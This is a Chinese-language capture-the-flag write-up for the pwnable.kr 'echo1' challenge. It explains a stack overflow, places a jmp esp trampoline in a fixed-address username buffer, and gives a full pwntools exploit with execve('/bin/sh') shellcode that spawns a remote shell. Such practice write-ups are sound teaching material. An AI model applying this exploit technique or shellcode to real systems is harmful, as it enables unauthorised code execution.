Overview
直接运行起来是一个简单的交互小程序, 一开始会要求输入用户名, 之后的三项选项只有第一项有效.
拖进IDA分析第一项选项对应的函数是echo1, 该函数存在明显的栈溢出.
如果checksec的话可以发现该elf缓解技术几乎没开, 可以采用覆盖返回值 + 跳转到shellcode的方式利用.
这里没有机会可以输出栈地址, 因此无法得到栈绝对地址覆盖返回值, 因此可以使用jmp esp方式, 使用padding + addr_of_jmp_esp + shellcode(恢复栈帧后esp)方式进行利用. 这里唯独缺少合适的jmp esp, 通过ida搜索会发现程序中不存在这样的指令. 这里比较取巧的是无需去libc中寻找, 还记得输入的用户名吗, 用户名存储在.bss段, 有固定地址, 因此可以将jmp esp机器码写在这个地址.
最后的exp如下, 由于shellcode在esp处, 选取shellcode时需要注意尽量使用栈操作少的, 或者先抬高栈顶保护shellcode代码.
#!/usr/bin/env python
# coding=utf-8
from pwn import *
# p = process('./echo1')
p = remote('pwnable.kr', 9010)
# gdb.attach(p)
jmp_esp = '\xff\xe4'
shellcode = "\x48\x83\xec\x20" + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p.sendline(jmp_esp)
p.sendline('1')
print p.recvuntil('>')
payload = 'a'* 40 + p64(0x6020a0) + shellcode
p.send(payload)
p.interactive()